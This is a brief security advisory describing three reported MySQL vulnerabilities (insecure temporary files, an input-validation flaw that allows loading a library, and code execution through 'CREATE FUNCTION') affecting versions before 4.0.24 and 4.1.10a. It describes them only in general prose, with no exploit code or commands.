MySQL is reported prone to multiple vulnerabilities that can be exploited by a remote authenticated attacker. The following individual issues are reported:
- Insecure temporary file-creation vulnerability. Reports indicate that an attacker with 'CREATE TEMPORARY TABLE' privileges on an affected installation may leverage this vulnerability to corrupt files with the privileges of the MySQL process.
- Input-validation vulnerability. Remote attackers with INSERT and DELETE privileges on the 'mysql' administrative database can exploit this. Reports indicate that this issue may be leveraged to load and execute a malicious library in the context of the MySQL process.
- Remote arbitrary-code execution vulnerability. Reportedly, the vulnerability may be triggered by employing the 'CREATE FUNCTION' statement to manipulate functions to control sensitive data structures. This issue may be exploited to execute arbitrary code in the context of the database process.
These issues are reported to exist in MySQL versions prior to MySQL 4.0.24 and 4.1.10a.
